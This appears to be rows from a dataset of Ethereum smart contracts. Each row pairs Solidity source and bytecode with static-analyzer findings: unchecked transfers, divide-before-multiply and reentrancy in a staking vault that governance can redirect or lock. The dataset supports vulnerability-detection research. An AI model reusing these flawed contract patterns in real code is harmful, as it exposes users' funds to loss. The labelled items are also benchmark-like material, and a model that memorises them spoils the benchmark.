function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630150246081146100df57806306fdde03146100f6578063095ea7b31461018057806313af4035146101b857806318160ddd146101d957806323b872dd14610200578063313ce5671461022a57806331c420d41461025557806370a082311461026a5780637e1f2bb81461028b57806389519c50146102a357806395d89b41146102cd578063a9059cbb146102e2578063dd62ed3e14610306578063e724529c1461032d575b600080fd5b3480156100eb57600080fd5b506100f4610353565b005b34801561010257600080fd5b5061010b6103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014557818101518382015260200161012d565b50505050905090810190601f1680156101725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018c57600080fd5b506101a4600160a060020a03600435166024356103e6565b604080519115158252519081900360200190f35b3480156101c457600080fd5b506100f4600160a060020a036004351661041a565b3480156101e557600080fd5b506101ee610460565b60408051918252519081900360200190f35b34801561020c57600080fd5b506101a4600160a060020a0360043581169060243516604435610466565b34801561023657600080fd5b5061023f6104b4565b6040805160ff9092168252519081900360200190f35b34801561026157600080fd5b506100f46104b9565b34801561027657600080fd5b506101ee600160a060020a0360043516610510565b34801561029757600080fd5b506101a460043561052f565b3480156102af57600080fd5b506100f4600160a060020a03600435811690602435166044356105f3565b3480156102d957600080fd5b5061010b61070c565b3480156102ee57600080fd5b506101a4600160a060020a0360043516602435610743565b34801561031257600080fd5b506101ee600160a060020a0360043581169060243516610784565b34801561033957600080fd5b506100f4600160a060020a036004351660243515156107af565b600254600160a060020a0316331461036a57600080fd5b60055460ff1615156103ad576005805460ff191660011790556040517f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de90600090a15b565b60408051808201909152600881527f4d6172794a616e65000000000000000000000000000000000000000000000000602082015281565b60006103f23384610784565b15806103fc575081155b151561040757600080fd5b6104118383610840565b90505b92915050565b600254600160a060020a0316331461043157600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045490565b600160a060020a03831660009081526003602052604081205460ff161561048c57600080fd5b60055460ff161561049f575060006104ad565b6104aa8484846108a6565b90505b9392505050565b600281565b600254600160a060020a031633146104d057600080fd5b60055460ff16156103ad576005805460ff191690556040517f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded90600090a1565b600160a060020a0381166000908152602081905260409020545b919050565b600254600090600160a060020a0316331461054957600080fd5b60008211156105eb57610562632a51bd80600454610a45565b8211156105715750600061052a565b3360009081526020819052604090205461058b9083610a57565b336000908152602081905260409020556004546105a89083610a57565b60045560408051838152905133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600161052a565b506000919050565b600254600090600160a060020a0316331461060d57600080fd5b600160a060020a03841630141561062357600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152602482018490529151859283169163a9059cbb9160448083019260209291908290030181600087803b15801561069057600080fd5b505af11580156106a4573d6000803e3d6000fd5b505050506040513d60208110156106ba57600080fd5b505060408051600160a060020a0380871682528516602082015280820184905290517ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc1549181900360600190a150505050565b60408051808201909152600481527f4d4a434300000000000000000000000000000000000000000000000000000000602082015281565b3360009081526003602052604081205460ff161561076057600080fd5b60055460ff161561077357506000610414565b61077d8383610a66565b9050610414565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600254600160a060020a031633146107c657600080fd5b33600160a060020a03831614156107dc57600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156108bd57600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156108f0575060006104ad565b600160a060020a038416600090815260208190526040902054821115610918575060006104ad565b60008211801561093a575082600160a060020a031684600160a060020a031614155b156109f057600160a060020a038416600090815260016020908152604080832033845290915290205461096d9083610a45565b600160a060020a03851660008181526001602090815260408083203384528252808320949094559181529081905220546109a79083610a45565b600160a060020a0380861660009081526020819052604080822093909355908516815220546109d69083610a57565b600160a060020a0384166000908152602081905260409020555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b600082821115610a5157fe5b50900390565b6000828201838110156104ad57fe5b6000600160a060020a0383161515610a7d57600080fd5b33600090815260208190526040902054821115610a9c57506000610414565b600082118015610ab5575033600160a060020a03841614155b15610b1a5733600090815260208190526040902054610ad49083610a45565b3360009081526020819052604080822092909255600160a060020a03851681522054610b009083610a57565b600160a060020a0384166000908152602081905260409020555b604080518381529051600160a060020a0385169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a72305820e4eb5b3a06ed4d3e4cd38d15af8c55bcdbba5b67f198174e11083e7ac82e76bb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,154 |
0x9a0a8c3ab75544b471abb6381388cfb96365132c
|
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pFDIVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
uint256 amount;
uint256 startTime;
uint256 checkTime;
}
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill = 5;
uint256 public delayDuration = 7 days;
bool public withdrawable;
address public gov;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
public
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
public
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function rewardUpdate()
public
{
if (_rewardCount > 0) {
uint256 i;
uint256 j;
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
_rewards[i].startTime = uint256(-1);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
_rewards[i].checkTime = block.timestamp;
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount;
for (j = 0; j < addressIndices.length; j++) {
addAmount = timedAmount.mul(depositBalances[addressIndices[j]]).div(totalDeposit);
rewardBalances[addressIndices[j]] = rewardBalances[addressIndices[j]].add(addAmount);
}
if (i == 0) {
break;
}
}
}
}
function depositAll()
external
{
deposit(token0.balanceOf(msg.sender));
}
function deposit(uint256 _amount)
public
{
require(_amount > 0, "can't deposit 0");
rewardUpdate();
uint256 arrayLength = addressIndices.length;
bool found = false;
for (uint256 i = 0; i < arrayLength; i++) {
if (addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 feeAmount = _amount.mul(feePermill).div(1000);
uint256 realAmount = _amount.sub(feeAmount);
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
emit Deposited(msg.sender, realAmount);
}
function sendReward(uint256 _amount)
external
{
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token1.safeTransferFrom(msg.sender, address(this), _amount);
rewardUpdate();
_rewards[_rewardCount].amount = _amount;
_rewards[_rewardCount].startTime = block.timestamp;
_rewards[_rewardCount].checkTime = block.timestamp;
_rewardCount++;
emit SentReward(_amount);
}
function claimRewardAll()
external
{
claimReward(uint256(-1));
}
function claimReward(uint256 _amount)
public
{
require(_rewardCount > 0, "no reward amount");
rewardUpdate();
if (_amount > rewardBalances[msg.sender]) {
_amount = rewardBalances[msg.sender];
}
require(_amount > 0, "can't claim reward 0");
token1.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit ClaimedReward(msg.sender, _amount);
}
function withdrawAll()
external
{
withdraw(uint256(-1));
}
function withdraw(uint256 _amount)
public
{
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
rewardUpdate();
if (_amount > depositBalances[msg.sender]) {
_amount = depositBalances[msg.sender];
}
require(_amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, _amount);
depositBalances[msg.sender] = depositBalances[msg.sender].sub(_amount);
totalDeposit = totalDeposit.sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableRewardAmount(address owner)
public
view
returns(uint256)
{
uint256 i;
uint256 availableReward = rewardBalances[owner];
if (_rewardCount > 0) {
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount = timedAmount.mul(depositBalances[owner]).div(totalDeposit);
availableReward = availableReward.add(addAmount);
if (i == 0) {
break;
}
}
}
return availableReward;
}
}
|
0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063a7df8c5711610125578063c78b6dea116100ad578063de5f62681161007c578063de5f6268146105da578063e2aa2a85146105e2578063e835dfbd146105ea578063f6153ccd146105f2578063fab980b7146105fa57610211565b8063c78b6dea14610573578063cbeb7ef214610590578063d21220a7146105af578063d86e1ef7146105b757610211565b8063b6b55f25116100f4578063b6b55f25146104df578063b79ea884146104fc578063b8f7928814610522578063c45c4f5814610545578063c6e426bd1461054d57610211565b8063a7df8c5714610477578063ab033ea914610494578063ae169a50146104ba578063b5984a36146104d757610211565b806344264d3d116101a857806385535cc51161017757806385535cc5146103a45780638705fcd4146103ca5780638d96bdbe146103f05780638f1e94051461041657806393c8dc6d1461045157610211565b806344264d3d146103575780635018830114610378578063637830ca14610394578063853828b61461039c57610211565b80631eb903cf116101e45780631eb903cf146103045780632e1a7d4d1461032a5780634127535814610347578063430bf08a1461034f57610211565b80630dfe16811461021657806311cc66b21461023a57806312d43a51146102e25780631c69ad00146102ea575b600080fd5b61021e610677565b604080516001600160a01b039092168252519081900360200190f35b6102e06004803603602081101561025057600080fd5b81019060208101813564010000000081111561026b57600080fd5b82018360208201111561027d57600080fd5b8035906020019184600183028401116401000000008311171561029f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610686945050505050565b005b61021e6106ef565b6102f2610703565b60408051918252519081900360200190f35b6102f26004803603602081101561031a57600080fd5b50356001600160a01b031661077f565b6102e06004803603602081101561034057600080fd5b5035610791565b61021e61099c565b61021e6109ab565b61035f6109ba565b6040805163ffffffff9092168252519081900360200190f35b6103806109cd565b604080519115158252519081900360200190f35b6102e06109d6565b6102e06109e3565b6102e0600480360360208110156103ba57600080fd5b50356001600160a01b03166109ee565b6102e0600480360360208110156103e057600080fd5b50356001600160a01b0316610a62565b6102f26004803603602081101561040657600080fd5b50356001600160a01b0316610ad6565b6104336004803603602081101561042c57600080fd5b5035610c25565b60408051938452602084019290925282820152519081900360600190f35b6102f26004803603602081101561046757600080fd5b50356001600160a01b0316610c46565b61021e6004803603602081101561048d57600080fd5b5035610c58565b6102e0600480360360208110156104aa57600080fd5b50356001600160a01b0316610c7f565b6102e0600480360360208110156104d057600080fd5b5035610cf9565b6102f2610e3d565b6102e0600480360360208110156104f557600080fd5b5035610e43565b6102e06004803603602081101561051257600080fd5b50356001600160a01b0316611020565b6102e06004803603602081101561053857600080fd5b503563ffffffff16611094565b6102f261110c565b6102e06004803603602081101561056357600080fd5b50356001600160a01b0316611157565b6102e06004803603602081101561058957600080fd5b50356111cb565b6102e0600480360360208110156105a657600080fd5b503515156112fc565b61021e611361565b6102e0600480360360208110156105cd57600080fd5b503563ffffffff16611370565b6102e06113cd565b6102f261144a565b6102e0611450565b6102f261162c565b610602611632565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561063c578181015183820152602001610624565b50505050905090810190601f1680156106695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6001546001600160a01b031681565b60065461010090046001600160a01b031633146106d8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106eb906000906020840190611ba7565b5050565b60065461010090046001600160a01b031681565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b505afa158015610762573d6000803e3d6000fd5b505050506040513d602081101561077857600080fd5b5051905090565b60086020526000908152604090205481565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107dc57600080fd5b505afa1580156107f0573d6000803e3d6000fd5b505050506040513d602081101561080657600080fd5b50511161084f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b60065460ff16610899576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108a1611450565b336000908152600860205260409020548111156108ca5750336000908152600860205260409020545b60008111610912576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600154610929906001600160a01b031633836116c0565b336000908152600860205260409020546109439082611717565b336000908152600860205260409020556007546109609082611717565b60075560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6003546001600160a01b031681565b6004546001600160a01b031681565b600454600160a01b900463ffffffff1681565b60065460ff1681565b6109e1600019610cf9565b565b6109e1600019610791565b60065461010090046001600160a01b03163314610a40576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b03163314610ab4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116600090815260096020526040812054600c5482919015610c1e576001600c540391505b6000828152600b6020526040902060010154421115610c1e576005546000838152600b6020526040812060010154909190610b3f904290611717565b1115610b7c576000838152600b602052604090206002810154600554600190920154610b7592610b6f9190611762565b90611717565b9050610b9c565b6000838152600b6020526040902060020154610b99904290611717565b90505b6005546000848152600b60205260408120549091610bc491610bbe90856117bc565b90611815565b6007546001600160a01b03881660009081526008602052604081205492935091610bf49190610bbe9085906117bc565b9050610c008482611762565b935084610c0f57505050610c1e565b50506000199092019150610b03565b9392505050565b600b6020526000908152604090208054600182015460029092015490919083565b60096020526000908152604090205481565b600a8181548110610c6557fe5b6000918252602090912001546001600160a01b0316905081565b60065461010090046001600160a01b03163314610cd1576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000600c5411610d43576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b610d4b611450565b33600090815260096020526040902054811115610d745750336000908152600960205260409020545b60008111610dc0576040805162461bcd60e51b8152602060048201526014602482015273063616e277420636c61696d2072657761726420360641b604482015290519081900360640190fd5b600254610dd7906001600160a01b031633836116c0565b33600090815260096020526040902054610df19082611717565b33600081815260096020908152604091829020939093558051848152905191927fd0813ff03c470dcc7baa9ce36914dc2febdfd276d639deffaac383fd3db42ba392918290030190a250565b60055481565b60008111610e8a576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b610e92611450565b600a546000805b82811015610ee457336001600160a01b0316600a8281548110610eb857fe5b6000918252602090912001546001600160a01b03161415610edc5760019150610ee4565b600101610e99565b5080610f2d57600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b031916331790555b600454600090610f57906103e890610bbe90879063ffffffff600160a01b9091048116906117bc16565b90506000610f658583611717565b600354600154919250610f87916001600160a01b039081169133911685611857565b600454600154610fa6916001600160a01b039182169133911684611857565b600754610fb39082611762565b60075533600090815260086020526040902054610fd09082611762565b33600081815260086020908152604091829020939093558051848152905191927f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c492918290030190a25050505050565b60065461010090046001600160a01b03163314611072576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b031633146110e6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6004805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b60065461010090046001600160a01b031633146111a9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008111611211576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060075411611268576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600254611280906001600160a01b0316333084611857565b611288611450565b600c80546000908152600b60209081526040808320859055835483528083204260019182018190558554855293829020600201939093558354909201909255805183815290517feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929181900390910190a150565b60065461010090046001600160a01b0316331461134e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006805460ff1916911515919091179055565b6002546001600160a01b031681565b60065461010090046001600160a01b031633146113c2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600555565b600154604080516370a0823160e01b815233600482015290516109e1926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561141957600080fd5b505afa15801561142d573d6000803e3d6000fd5b505050506040513d602081101561144357600080fd5b5051610e43565b600c5481565b600c54156109e157600c546000190160005b6000828152600b60205260409020600101544211156106eb576005546000838152600b602052604081206001015490919061149e904290611717565b11156114ec576000838152600b6020526040902060028101546005546001909201546114ce92610b6f9190611762565b6000848152600b60205260409020600019600190910155905061150c565b6000838152600b6020526040902060020154611509904290611717565b90505b6000838152600b6020526040812042600282015560055490546115349190610bbe90856117bc565b905060008093505b600a548410156116105761158c600754610bbe60086000600a898154811061156057fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205485906117bc565b90506115ce8160096000600a88815481106115a357fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205490611762565b60096000600a87815481106115df57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020556001939093019261153c565b8461161d575050506106eb565b50506000199092019150611462565b60075481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156116b85780601f1061168d576101008083540402835291602001916116b8565b820191906000526020600020905b81548152906001019060200180831161169b57829003601f168201915b505050505081565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526117129084906118b7565b505050565b600061175983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a6f565b90505b92915050565b600082820183811015611759576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826117cb5750600061175c565b828202828482816117d857fe5b04146117595760405162461bcd60e51b8152600401808060200182810382526021815260200180611c3b6021913960400191505060405180910390fd5b600061175983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b06565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526118b19085906118b7565b50505050565b6118c9826001600160a01b0316611b6b565b61191a576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106119585780518252601f199092019160209182019101611939565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146119ba576040519150601f19603f3d011682016040523d82523d6000602084013e6119bf565b606091505b509150915081611a16576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156118b157808060200190516020811015611a3257600080fd5b50516118b15760405162461bcd60e51b815260040180806020018281038252602a815260200180611c5c602a913960400191505060405180910390fd5b60008184841115611afe5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ac3578181015183820152602001611aab565b50505050905090810190601f168015611af05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611b555760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611ac3578181015183820152602001611aab565b506000838581611b6157fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611b9f5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611be857805160ff1916838001178555611c15565b82800160010185558215611c15579182015b82811115611c15578251825591602001919060010190611bfa565b50611c21929150611c25565b5090565b5b80821115611c215760008155600101611c2656fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220be7118cd2cafe9596cbe5f978fb01c5c5e88846602753f41194e6be36c6e544d64736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,155 |
0x45b0b4f601dbe30e0aef49ec13e70624e8cc222e
|
/**
*Submitted for verification at Etherscan.io on 2020-04-29
*/
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IUniswapExchange {
// Protocol Functions
function tokenAddress() external view returns (address);
function factoryAddress() external view returns (address);
// ERC20 Functions (Keep track of liquidity providers)
